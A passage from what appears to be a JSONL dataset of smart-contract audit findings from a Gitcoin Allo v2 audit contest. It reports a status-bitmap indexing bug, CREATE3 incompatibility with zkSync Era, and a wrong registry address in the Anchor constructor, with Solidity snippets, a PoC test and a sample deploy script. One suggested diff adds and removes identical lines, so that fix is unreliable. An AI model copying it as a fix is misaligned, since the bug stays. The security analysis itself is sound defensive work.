Get recipient status 'rowIndex', 'colIndex' and 'currentRow'.\n/// @param _recipientId ID of the recipient\n/// @return (rowIndex, colIndex, currentRow)\nfunction _getStatusRowColumn(address _recipientId) internal view returns (uint256, uint256, uint256) {\n // @audit unregistered recipients will have the same status index as the 0th registered recipient\n uint256 recipientIndex = recipientToStatusIndexes[_recipientId];\n\n uint256 rowIndex = recipientIndex / 64; // 256 / 4\n uint256 colIndex = (recipientIndex % 64) * 4;\n\n return (rowIndex, colIndex, statusesBitMap[rowIndex]);\n}\n```\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\n`recipientCounter` should start at 1 so that a recipient's status index is never the default value of 0.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//014-M/350.md"}} +{"title":"`recipientsCounter` should start from 1 in `DonationVotingMerkleDistributionBaseStrategy`","severity":"medium","body":"Clever Metal Giraffe\n\nhigh\n\n# `recipientsCounter` should start from 1 in `DonationVotingMerkleDistributionBaseStrategy`\n\nWhen doing `DonationVotingMerkleDistributionBaseStrategy._registerRecipient`, it checks the current status of the recipient. If the recipient is new to the pool, the status should be `Status.None`. However, `recipientsCounter` starts from 0. The new recipient actually gets the status of first recipient of the pool.\n\n## Vulnerability Detail\n\n`DonationVotingMerkleDistributionBaseStrategy._registerRecipient` calls `_getUintRecipientStatus` to get the current status of the application. The status of the new application should be `Status.None`. Then, the `recipientToStatusIndexes[recipientId]` to `recipientsCounter` and `recipientsCounter`.\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/donation-voting-merkle-base/DonationVotingMerkleDistributionBaseStrategy.sol#L580\n```solidity\n function _registerRecipient(bytes memory _data, address _sender)\n internal\n override\n onlyActiveRegistration\n returns (address recipientId)\n {\n ā€¦\n\n uint8 currentStatus = _getUintRecipientStatus(recipientId);\n\n if (currentStatus == uint8(Status.None)) {\n // recipient registering new application\n recipientToStatusIndexes[recipientId] = recipientsCounter;\n _setRecipientStatus(recipientId, uint8(Status.Pending));\n\n bytes memory extendedData = abi.encode(_data, recipientsCounter);\n emit Registered(recipientId, extendedData, _sender);\n\n recipientsCounter++;\n } else {\n if (currentStatus == uint8(Status.Accepted)) {\n // recipient updating accepted application\n _setRecipientStatus(recipientId, uint8(Status.Pending));\n } else if (currentStatus == uint8(Status.Rejected)) {\n // recipient updating rejected application\n _setRecipientStatus(recipientId, uint8(Status.Appealed));\n }\n emit UpdatedRegistration(recipientId, _data, _sender, _getUintRecipientStatus(recipientId));\n }\n }\n```\n\n`DonationVotingMerkleDistributionBaseStrategy._getUintRecipientStatus` calls `_getStatusRowColumn` to get the column index and current row.\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/donation-voting-merkle-base/DonationVotingMerkleDistributionBaseStrategy.sol#L819\n```solidity\n function _getUintRecipientStatus(address _recipientId) internal view returns (uint8 status) {\n // Get the column index and current row\n (, uint256 colIndex, uint256 currentRow) = _getStatusRowColumn(_recipientId);\n\n // Get the status from the 'currentRow' shifting by the 'colIndex'\n status = uint8((currentRow >> colIndex) & 15);\n\n // Return the status\n return status;\n }\n```\n\n`DonationVotingMerkleDistributionBaseStrategy._getStatusRowColumn` computes indexes from `recipientToStatusIndexes[_recipientId]`. For the new recipient. Those indexes should be zero.\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/donation-voting-merkle-base/DonationVotingMerkleDistributionBaseStrategy.sol#L833\n```solidity\n function _getStatusRowColumn(address _recipientId) internal view returns (uint256, uint256, uint256) {\n uint256 recipientIndex = recipientToStatusIndexes[_recipientId];\n\n uint256 rowIndex = recipientIndex / 64; // 256 / 4\n uint256 colIndex = (recipientIndex % 64) * 4;\n\n return (rowIndex, colIndex, statusesBitMap[rowIndex]);\n }\n```\n\nThe problem is that `recipientCounter` starts from zero.\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/donation-voting-merkle-base/DonationVotingMerkleDistributionBaseStrategy.sol#L166\n```solidity\n /// @notice The total number of recipients.\n uint256 public recipientsCounter;\n```\n\nConsider the following situation:\n* Alice is the first recipient calls `registerRecipient`\n```solidity\n// in _registerRecipient\nrecipientToStatusIndexes[Alice] = recipientsCounter = 0;\n_setRecipientStatus(Alice, uint8(Status.Pending));\nrecipientCounter++\n```\n* Bob calls `registerRecipient`.\n```solidity\n// in _getStatusRowColumn\nrecipientToStatusIndexes[Bob] = 0 // It would access the status of Alice\n// in _registerRecipient\ncurrentStatus = _getUintRecipientStatus(recipientId) = Status.Pending\ncurrentStatus != uint8(Status.None) -> no new application is recorded in the pool.\n```\n\nThis implementation error makes the pool can only record the first application.\n\n## Impact\n\n## Code Snippet\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/donation-voting-merkle-base/DonationVotingMerkleDistributionBaseStrategy.sol#L580\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/donation-voting-merkle-base/DonationVotingMerkleDistributionBaseStrategy.sol#L819\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/donation-voting-merkle-base/DonationVotingMerkleDistributionBaseStrategy.sol#L833\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/donation-voting-merkle-base/DonationVotingMerkleDistributionBaseStrategy.sol#L166\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nMake the counter start from 1. There are two methods to fix the issue.\n\n1.\n```diff\n /// @notice The total number of recipients.\n+ uint256 public recipientsCounter;\n- uint256 public recipientsCounter;\n```\n\n2.\n```diff\n function _registerRecipient(bytes memory _data, address _sender)\n internal\n override\n onlyActiveRegistration\n returns (address recipientId)\n {\n ā€¦\n\n uint8 currentStatus = _getUintRecipientStatus(recipientId);\n\n if (currentStatus == uint8(Status.None)) {\n // recipient registering new application\n+ recipientToStatusIndexes[recipientId] = recipientsCounter + 1;\n- recipientToStatusIndexes[recipientId] = recipientsCounter;\n _setRecipientStatus(recipientId, uint8(Status.Pending));\n\n bytes memory extendedData = abi.encode(_data, recipientsCounter);\n emit Registered(recipientId, extendedData, _sender);\n\n recipientsCounter++;\n ā€¦\n }\n```","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//014-M/199-best.md"}} +{"title":"Registering new recipients will corrupt the status bitmap in `DonationVotingMerkleDistribution` strategies","severity":"medium","body":"Glamorous Hazelnut Haddock\n\nmedium\n\n# Registering new recipients will corrupt the status bitmap in `DonationVotingMerkleDistribution` strategies\nThe status bitmap will be corrupted due to incorrect retrieval of the status for new recipients.\n\n## Vulnerability Detail\nWhen registering a recipient for `DonationVotingMerkleDistribution` strategies, `currentStatus` is retrieved using `_getUintRecipientStatus`. The `colIndex` and `currentRow` are retrieved using `_getStatusRowColumn`.\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/6430c8004017e96ae2f5aac365bdefd0b6eeea72/allo-v2/contracts/strategies/donation-voting-merkle-base/DonationVotingMerkleDistributionBaseStrategy.sol#L833-L840\n```solidity\n function _getStatusRowColumn(address _recipientId) internal view returns (uint256, uint256, uint256) {\n uint256 recipientIndex = recipientToStatusIndexes[_recipientId];\n\n uint256 rowIndex = recipientIndex / 64; // 256 / 4\n uint256 colIndex = (recipientIndex % 64) * 4;\n\n return (rowIndex, colIndex, statusesBitMap[rowIndex]);\n }\n```\nFor new recipients, `recipientIndex = recipientToStatusIndexes[_recipientId] = 0`. Consequently, `rowIndex = colIndex = 0`, so `currentRow` (the third return value) will always be the first row in the bitmap.\n\nBack in `_getUintRecipientStatus`, `status` is calculated as the first 4 (least significant) bits of `currentRow` shifted right by `colIndex` bits.\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/6430c8004017e96ae2f5aac365bdefd0b6eeea72/allo-v2/contracts/strategies/donation-voting-merkle-base/DonationVotingMerkleDistributionBaseStrategy.sol#L819-L828\n```solidity\n function _getUintRecipientStatus(address _recipientId) internal view returns (uint8 status) {\n // Get the column index and current row\n (, uint256 colIndex, uint256 currentRow) = _getStatusRowColumn(_recipientId);\n\n // Get the status from the 'currentRow' shifting by the 'colIndex'\n status = uint8((currentRow >> colIndex) & 15);\n\n // Return the status\n return status;\n }\n```\nSince `colIndex = 0` for a new recipient, `status` will always be the first 4 bits of `currentRow` (ie. that of the first recipient registered for the strategy). This means the perceived status of a new recipient will depend on the status of the first registered recipient (note that `recipientsCounter` used as the index of a recipient's status starts from 0).\n\nBack in `_registerRecipient`, execution differs based on whether the recipient's status is `Status.None` (ie. not registered). For new recipients after the first registration, the second branch (for already registered recipients) will always be executed since the first registered recipient's status cannot be `Status.None` (without a pool manager explicitly setting it, which shouldn't happen).\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/6430c8004017e96ae2f5aac365bdefd0b6eeea72/allo-v2/contracts/strategies/donation-voting-merkle-base/DonationVotingMerkleDistributionBaseStrategy.sol#L582-L601\n```solidity\n if (currentStatus == uint8(Status.None)) {\n // recipient registering new application\n recipientToStatusIndexes[recipientId] = recipientsCounter;\n _setRecipientStatus(recipientId, uint8(Status.Pending));\n\n bytes memory extendedData = abi.encode(_data, recipientsCounter);\n emit Registered(recipientId, extendedData, _sender);\n\n recipientsCounter++;\n } else {\n if (currentStatus == uint8(Status.Accepted)) {\n // recipient updating accepted application\n _setRecipientStatus(recipientId, uint8(Status.Pending));\n } else if (currentStatus == uint8(Status.Rejected)) {\n // recipient updating rejected application\n _setRecipientStatus(recipientId, uint8(Status.Appealed));\n }\n emit UpdatedRegistration(recipientId, _data, _sender, _getUintRecipientStatus(recipientId));\n }\n }\n```\nIn the second branch, `recipientToStatusIndexes` will not be set for the new `recipientId` (and `recipientsCounter` is not incremented). Consequently, their status will continue to depend on/point to the first registered recipient's status, which could result in them unintentionally being eligible for allocation. Otherwise, if the first registered recipient's status is `Accepted`, any attempt at reregistering will change the status of the first registered recipient to `Pending`, denying allocation.\n\n## PoC\nModified from `test_reviewRecipients` in `DonationVotingMerkleDistributionBase.t.sol`. It demonstrates that subsequent registrations will modify the first registered recipient's status.\n```solidity\nfunction test_reviewRecipients() public {\n address recipientId = __register_accept_recipient();\n assertEq(strategy.statusesBitMap(0), 2);\n __register_recipient2();\n\n // first registered recipient's status changed to pending even though only second recipient's status should be changed\n assertEq(strategy.statusesBitMap(0), 1);\n IStrategy.Status recipientStatus = strategy.getRecipientStatus(recipientId);\n assertEq(uint8(recipientStatus), uint8(IStrategy.Status.Pending));\n }\n```\n\n## Impact\nAll queried statuses will depend on the first registered recipient, and all attempts to register new recipients after the first will always only update the first registered recipient's status. Anyone can allocate to any registered recipient if the first registered recipient is accepted, and no recipient can be allocated to if the first registered recipient is not accepted.\n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/6430c8004017e96ae2f5aac365bdefd0b6eeea72/allo-v2/contracts/strategies/donation-voting-merkle-base/DonationVotingMerkleDistributionBaseStrategy.sol#L833-L840\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/6430c8004017e96ae2f5aac365bdefd0b6eeea72/allo-v2/contracts/strategies/donation-voting-merkle-base/DonationVotingMerkleDistributionBaseStrategy.sol#L819-L828\n\n## Tool used\n\nManual Review\n\n## Recommendation\nConsider determining whether a `recipientId` is new by checking whether `recipient.recipientAddress = 0` before setting it.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//014-M/123.md"}} +{"title":"Create3 library may not work as intended on the zksync","severity":"medium","body":"Flat Sapphire Platypus\n\nhigh\n\n# Create3 library may not work as intended on the zksync\nZksync have subtle difference with mainnet due to which the create3 will not work as intended there.\n## Vulnerability Detail\nLooking at the following link we can see that:\n\ncreate, create2, call opcodes mainly work differently on zksync and also create require the bytecode in advance. And the solady create3 utility was not made keeping these things in mind. \n\nAnd create3 is based upon all lot of opcodes mentioned in above link thus the deployment may not work at all on zksync and keep reverting.\n\nAs the docs mention:\n![image](https://github.com/sherlock-audit/2023-09-Gitcoin-ahmaddecoded/assets/68193826/28f69eba-1e19-48da-9108-4182f5e8d1bb)\nAnd solady is compeletely in assembly which is not the recommended way of using create and create2 on zksync\n\nNeed to develop a separate create3 methodology and code for zksync, instead of using solady which was written keeping mainnet in mind.\n\n```solidity\n function _generateAnchor(bytes32 _profileId, string memory _name) internal returns (address anchor) {\n bytes32 salt = keccak256(abi.encodePacked(_profileId, _name));\n\n address preCalculatedAddress = CREATE3.getDeployed(salt);\n\n // check if the contract already exists and if the profileId matches\n if (preCalculatedAddress.code.length > 0) {\n if (Anchor(payable(preCalculatedAddress)).profileId() != _profileId) revert ANCHOR_ERROR();\n\n anchor = preCalculatedAddress;\n } else {\n // check if the contract has already been deployed by checking code size of address\n bytes memory creationCode = abi.encodePacked(type(Anchor).creationCode, abi.encode(_profileId));\n\n // Use CREATE3 to deploy the anchor contract\n anchor = CREATE3.deploy(salt, creationCode, 0);\n }\n }\n\n```\n\n## Impact\ncreate3 will not properly work on zksync\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Registry.sol#L335-L352\n## Tool used\n\nManual Review\n\n## Recommendation","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//013-M/956.md"}} +{"title":"Incorrect CREATE3 implementation for zksync era","severity":"medium","body":"Spicy Canvas Gazelle\n\nhigh\n\n# Incorrect CREATE3 implementation for zksync era\n\nIncorrect CREATE3 implementation for zksync era.\n\n## Vulnerability Detail\n\nThe protocol wishes to deploy the contracts to zksync era chain as well. While EVM equivalent, zksync era has certain differences with other EVM chains which breaks some of the contract functionality.\n\nAccording to the zksync [docs](https://era.zksync.io/docs/reference/architecture/differences-with-ethereum.html), There a number of differences between the two chains, and the relevant one here is the calculatio of create2 based addresses.\n\nIn all other EVM chains, create2 addresses are calculated in the following manner:\n\n```solidity\naddress predictedAddress = address(uint160(uint(keccak256(abi.encodePacked(\n bytes1(0xff),\n address(this),\n salt,\n keccak256(abi.encodePacked(\n type(D).creationCode,\n abi.encode(arg)\n ))\n)))));\n```\n\nThis segment is taken from the solidity docs. However for zksync, as stated [here](https://era.zksync.io/docs/reference/architecture/differences-with-ethereum.html#create-create2), create2 addresses are calculated in a different manner.\n\n```javascript\nexport function create2Address(\n sender: Address,\n bytecodeHash: BytesLike,\n salt: BytesLike,\n input: BytesLike\n) {\n const prefix = ethers.utils.keccak256(\n ethers.utils.toUtf8Bytes(\"zksyncCreate2\")\n )\n const inputHash = ethers.utils.keccak256(input)\n const addressBytes = ethers.utils\n .keccak256(\n ethers.utils.concat([\n prefix,\n ethers.utils.zeroPad(sender, 32),\n salt,\n bytecodeHash,\n inputHash,\n ])\n )\n .slice(26)\n return ethers.utils.getAddress(addressBytes)\n}\n```\n\nThe min difference is the `prefix`. On normal EVM chains, this prefix is `0xff`, but on zksync this prefix is `ethers.utils.keccak256(ethers.utils.toUtf8Bytes(\"zksyncCreate2\")`. For this reason, the create2 addresses will be different on the 2 chains.\n\nThe contract `Registry.sol` uses CREATE3 from solady, which was written for the normal EVMS. In the CREATE3 deploy function, we can see how the addresses are calculated.\n\n```solidity\nassembly {\n // Cache the free memory pointer.\n let m := mload(0x40)\n // Store `address(this)`.\n mstore(0x00, address())\n // Store the prefix.\n mstore8(0x0b, 0xff)\n // Store the salt.\n mstore(0x20, salt)\n // Store the bytecode hash.\n mstore(0x40, _PROXY_BYTECODE_HASH)\n\n // Store the proxy's address.\n mstore(0x14, keccak256(0x0b, 0x55))\n // Restore the free memory pointer.\n mstore(0x40, m)\n // 0xd6 = 0xc0 (short RLP prefix) + 0x16 (length of: 0x94 ++ proxy ++ 0x01).\n // 0x94 = 0x80 + 0x14 (0x14 = the length of an address, 20 bytes, in hex).\n mstore(0x00, 0xd694)\n // Nonce of the proxy contract (1).\n mstore8(0x34, 0x01)\n\n deployed := keccak256(0x1e, 0x17)\n}\n```\n\nHere the `0xff` prefix is used, showing that this is not compatible with zksync era chains. So the entire anchor system will break on deploying to the zksync chain.\n\nFork testing on foundry does not raise an error, since the foundry EVM is based on the normal EVMS, and not zksync. For specifically zksync contracts, plugins like `foundry-zksync-era` is available. The official docs also list out some hardhat plugins [here](https://era.zksync.io/docs/tools/hardhat/plugins.html#hardhat-zksync-toolbox). These plugins take into consideration the abnormal behaviour of create2 on zksync era chains.\n\n## Impact\n\nEntire system will break, since CREATE3 will not work. This is beacause the contract will be deployed at a different address than calculated by the create3 contract due to the different prefix.\n\n## Code Snippet\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Registry.sol#L335-L352\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nSolady create3 needs to be re-written with the correct prefix as mentioned above. Also, the testing framework needs to be changed by including plugins which take into consideration the zksync era chain differences.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//013-M/866.md"}} +{"title":"CREATE3 is not available in the zkSync Era.","severity":"medium","body":"Oblong Clay Kangaroo\n\nhigh\n\n# CREATE3 is not available in the zkSync Era.\nIn the current code using CREATE3 with CREATE2, but in zkSync Era, CREATE2 for arbitrary bytecode is not available, so a revert occurs in the `CREATE3.deploy` process.\n\n## Vulnerability Detail\nAccording to the contest README, the project can be deployed in zkSync Era. (https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/README.md?plain=1#L11)\n\nThe zkSync Era docs explain how it differs from Ethereum.\n\nThe description of CREATE and CREATE2 (https://era.zksync.io/docs/reference/architecture/differences-with-ethereum.html#create-create2) states that Create cannot be used for arbitrary code unknown to the compiler.\n\nPOC: \n```solidity\n// SPDX-License-Identifier: Unlicensed\npragma solidity ^0.8.0;\n\nimport \"./MiniContract.sol\";\nimport \"./CREATE3.sol\";\n\ncontract DeployTest {\n address public deployedAddress;\n event Deployed(address);\n \n function generateContract() public returns(address, address) {\n bytes32 salt = keccak256(\"SALT\");\n\n address preCalculatedAddress = CREATE3.getDeployed(salt);\n\n // check if the contract has already been deployed by checking code size of address\n bytes memory creationCode = abi.encodePacked(type(MiniContract).creationCode, abi.encode(777));\n\n // Use CREATE3 to deploy the anchor contract\n address deployed = CREATE3.deploy(salt, creationCode, 0);\n return (preCalculatedAddress, deployed);\n }\n}\n```\nYou can check sample POC code at zkSync Era Testnet(https://goerli.explorer.zksync.io/address/0x0f670f8AfcB09f4BC509Cb59D6e7CEC1A52BFA51#contract)\n\nAlso, the logic to compute the address of Create2 is different from Ethereum, as shown below, so the CREATE3 library cannot be used as it is.\n\nThis cause registry returns an incorrect `preCalculatedAddress`, causing the anchor to be registered to an address that is not the actual deployed address.\n\n```solidity \naddress ā‡’ keccak256( \n keccak256(\"zksyncCreate2\") ā‡’ 0x2020dba91b30cc0006188af794c2fb30dd8520db7e2c088b7fc7c103c00ca494, \n sender, \n salt, \n keccak256(bytecode), \n keccak256(constructorInput)\n ) \n```\n\n\n\n## Impact\n`generateAnchor` doesn't work, so user can't do anything related to anchor.\n\n## Code Snippet\nhttps://github.com/allo-protocol/allo-v2/blob/851571c27df5c16f6586ece2a1cb6fd0acf04ec9/contracts/core/Registry.sol#L350\nhttps://github.com/allo-protocol/allo-v2/blob/851571c27df5c16f6586ece2a1cb6fd0acf04ec9/contracts/core/Registry.sol#L338\n## Tool used\n\nManual Review\n\n## Recommendation\nThis can be solved by implementing CREATE2 directly instead of CREATE3 and using `type(Anchor).creationCode`.\nAlso, the compute address logic needs to be modified for zkSync.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//013-M/862-best.md"}} +{"title":"Can not create profile and update profile on zkSync network","severity":"medium","body":"Shiny Gingham Bee\n\nhigh\n\n# Can not create profile and update profile on zkSync network\nCan not create profile and update profile on zkSync network because of different behaviors from EVM instructions between zkSync and Ethereum\n\n## Vulnerability Detail\nIn creating profile flow, anchors are generated for users through logics in function `Registry::_generateAnchor()`. In updating profile, logics in `Registry::_generateAnchor()` is also triggered given user's new `_name`.\nFunction `Registry::_generateAnchor()` deploys anchors using `CREATE3::deploy()` logics, which uses `create2` to deploy deterministic contracts. The function also returns anchor address if it is already existed, which is precalculated address using `CREATE3.getDeployed(salt)`\nHowever, both 2 above flows will not work properly:\n1. Creation code is constructed in run-time and the zksolc compiler is not aware of it beforehand. This will cause this deployment fails. Reference from [zksync docs](https://era.zksync.io/docs/reference/architecture/differences-with-ethereum.html#evm-instructions)\n2. [Address derivation on zksync is different from Ethereum](https://era.zksync.io/docs/reference/architecture/differences-with-ethereum.html#address-derivation), which will return addresses that is not deployed Anchor contracts\n\nPoC:\nTry using `create3Deploy` function from [this contract ](https://goerli.explorer.zksync.io/address/0x61cD7B479dcF642B120185C80D62a78a7Ab47842#contract). It will get failed\n## Impact\nProtocol will not work as expected on zksync era network: can not create profiles for users\n## Code Snippet\nhttps://github.com/allo-protocol/allo-v2/blob/851571c27df5c16f6586ece2a1cb6fd0acf04ec9/contracts/core/Registry.sol#L142\nhttps://github.com/allo-protocol/allo-v2/blob/851571c27df5c16f6586ece2a1cb6fd0acf04ec9/contracts/core/Registry.sol#L335-L352\nhttps://github.com/allo-protocol/allo-v2/blob/851571c27df5c16f6586ece2a1cb6fd0acf04ec9/contracts/core/Registry.sol#L183\n## Tool used\n\nManual Review\n\n## Recommendation\nConsider using Factory contract pattern: deploy Anchor contracts through a Factory contract","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//013-M/437.md"}} +{"title":"Anchor creation and cloneable strategies do not work on zkSync Era","severity":"medium","body":"Merry Punch Caterpillar\n\nmedium\n\n# Anchor creation and cloneable strategies do not work on zkSync Era\n\nThe contract states that it will run on zkSync Era. However, zkSync Era requires that the bytecode be statically known when CREATE or CREATE2 is used. This protocol has multiple places where it deploys a contract whose bytecode is not statically known\n\nThere is a similar issue submitted to Kyberswap; presumably, this should be judged the same way.\n\n## Vulnerability Detail\n\nSee summary and code snippet\n\n## Impact\n\nWill not work on zkSync Era\n\n## Code Snippet\n\nUses of libraries that deploy:\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Registry.sol#L350\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L190\n\nObserving the source of both libraries shows that they modify the bytecode before deploying.\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nDon't support zkSync Era","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//013-M/387.md"}} +{"title":"Anchor creation and ContractFactory deployments will fail on zkSync Era","severity":"medium","body":"Curved Chocolate Iguana\n\nmedium\n\n# Anchor creation and ContractFactory deployments will fail on zkSync Era\nCreation of new anchors and `ContractFactory` deployments will fail on zkSync Era.\n\n## Vulnerability Detail\n`CREATE3` fails on zkSync Era.\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Registry.sol#L350\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/factory/ContractFactory.sol#L105\n\n## Impact\nIt is not possible to create or update profiles and deploy new contracts using the `ContractFactory` on zkSync Era.\n\n## Code Snippet\n```solidity\n//SPDX-License-Identifier: Unlicense\npragma solidity ^0.8.0;\n\nimport {CREATE3} from \"solady/src/utils/CREATE3.sol\";\n\ncontract Anchor {\n uint256 public immutable profileId;\n\n constructor(uint256 profileId_) {\n profileId = profileId_;\n }\n}\n\ncontract Cloner {\n constructor() {}\n\n function create3Anchor(uint256 profileId_, uint256 nonce_) external returns (address) {\n bytes32 salt = keccak256(abi.encodePacked(profileId_, nonce_));\n bytes memory creationCode = abi.encodePacked(type(Anchor).creationCode, abi.encode(profileId_));\n\n return CREATE3.deploy(salt, creationCode, 0);\n }\n}\n\n```\n\nCalling `create3Anchor` will fail here.\n\nYou can try this contract on zkSync Era testnet :\nhttps://goerli.explorer.zksync.io/address/0x67a1c4e70550c22a9E5A4F91Cb259DFc2008Cc39#contract\n\n## Tool used\n\nManual Review\n\n## Recommendation\n`CREATE3` hole purpose is to make contracts deployments on the same addresses easy.\n\nIn zkSync Era case, contracts address will be different anyway due to the use of prefixes when computing `CREATE` and `CREATE2` addresses.\n\nhttps://github.com/matter-labs/era-system-contracts/blob/main/contracts/Constants.sol#L79\nhttps://github.com/matter-labs/era-system-contracts/blob/main/contracts/ContractDeployer.sol#L91\n\n`CREATE3` can be replaced on zkSync Era deployments.\n\n### Example Contract\n```solidity\n//SPDX-License-Identifier: Unlicense\npragma solidity ^0.8.0;\n\nimport {CREATE3} from \"solady/src/utils/CREATE3.sol\";\n\ninterface ContractDeployer {\n function getNewAddressCreate2( \n address _sender,\n bytes32 _bytecodeHash,\n bytes32 _salt,\n bytes calldata _input\n ) external view returns (address newAddress);\n}\n\ncontract Anchor {\n uint256 public immutable profileId;\n\n constructor(uint256 profileId_) {\n profileId = profileId_;\n }\n\n receive() external payable {}\n fallback() external payable {}\n}\n\ncontract Cloner {\n event CreateAnchor(address indexed expected, address indexed actual, bytes32 indexed hash);\n\n bytes32 private _anchorHash;\n\n ContractDeployer private immutable _contractDeployer;\n\n constructor(bytes32 anchorHash_) {\n _anchorHash = anchorHash_;\n _contractDeployer = ContractDeployer(0x0000000000000000000000000000000000008006);\n }\n\n function createAnchor(uint256 profileId_, uint256 nonce_) external {\n bytes32 salt = keccak256(abi.encodePacked(profileId_, nonce_));\n\n address deployedAddress;\n address deploymentAddress = _contractDeployer.getNewAddressCreate2(address(this), _anchorHash, salt, abi.encode(profileId_));\n \n if (deploymentAddress.code.length > 0) {\n if (Anchor(payable(deploymentAddress)).profileId() != profileId_) revert('ANCHOR_ERROR');\n\n deployedAddress = deploymentAddress;\n } else {\n deployedAddress = address(new Anchor{salt: salt}(profileId_));\n }\n\n emit CreateAnchor(deploymentAddress, deployedAddress, _anchorHash);\n } \n\n function deployContract(string memory contractName_, string memory version_, bytes memory creationCode_) external payable returns (address addr) {\n bytes32 salt = keccak256(abi.encodePacked(contractName_, version_));\n\n assembly {\n addr := create2(0, add(creationCode_, 32), mload(creationCode_), salt)\n }\n\n addr.call{value: msg.value}(\"\");\n }\n\n function getAnchorCreationCode(uint256 profileId_) external view returns (bytes memory) {\n return abi.encodePacked(type(Anchor).creationCode, abi.encode(profileId_));\n } \n}\n```\n### Example Deployment Script\n```javascript\nimport { Wallet, utils } from 'zksync-web3';\nimport * as ethers from 'ethers';\nimport { HardhatRuntimeEnvironment } from 'hardhat/types';\nimport { Deployer } from '@matterlabs/hardhat-zksync-deploy';\n\nimport dotenv from 'dotenv';\ndotenv.config();\n\nconst PRIVATE_KEY = process.env.WALLET_PRIVATE_KEY || '';\n\nif (!PRIVATE_KEY)\n throw 'ā›”ļø Private key not detected! Add it to the .env file!';\n\nexport default async function (hre: HardhatRuntimeEnvironment) {\n const wallet = new Wallet(PRIVATE_KEY);\n const deployer = new Deployer(hre, wallet);\n const artifact = await deployer.loadArtifact('Cloner');\n const anchor = await deployer.loadArtifact('Anchor');\n\n const clonerContract = await deployer.deploy(artifact, [\n utils.hashBytecode(anchor.bytecode), // Pass the bytecode hash for the Anchor contract\n ]);\n\n const contractAddress = clonerContract.address;\n console.log(`${artifact.contractName} was deployed to ${contractAddress}`);\n\n if (process.env.NODE_ENV != 'test') {\n const contractFullyQualifedName = 'contracts/Cloner.sol:Cloner';\n\n const verificationId = await hre.run('verify:verify', {\n address: contractAddress,\n contract: contractFullyQualifedName,\n constructorArguments: [utils.hashBytecode(anchor.bytecode)],\n bytecode: artifact.bytecode,\n });\n } else {\n console.log(`Contract not verified, deployed locally.`);\n }\n}\n```","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//013-M/107.md"}} +{"title":"The registry is set to a wrong address in the Anchor constructor.","severity":"major","body":"Brilliant Carmine Porpoise\n\nhigh\n\n# The registry is set to a wrong address in the Anchor constructor.\n\nWhen a user creates a profile an Anchor is deployed using CREATE3. In the Anchor constructor the registry is then set to msg.sender however when using CREATE3 the msg.sender of the child contract is not the deployer but the temporary proxy contract used by CREATE3.\n\n## Vulnerability Detail\n\nThe registry in the Anchor constructor is wrongly set to the msg.sender which is the temporary proxy contract and not the the registry contract.\n\nThis is also mentioned in this [create3 factory ](https://github.com/ZeframLou/create3-factory#usage):\n\n>The deployed contract should be aware that msg.sender in the constructor will be the temporary proxy contract used by CREATE3 rather than the deployer, so common patterns like Ownable should be modified to accomodate for this.\n\n## Impact\n\nThe registry address will be a completely different address and when calling execute() the tx will revert so if a user sends 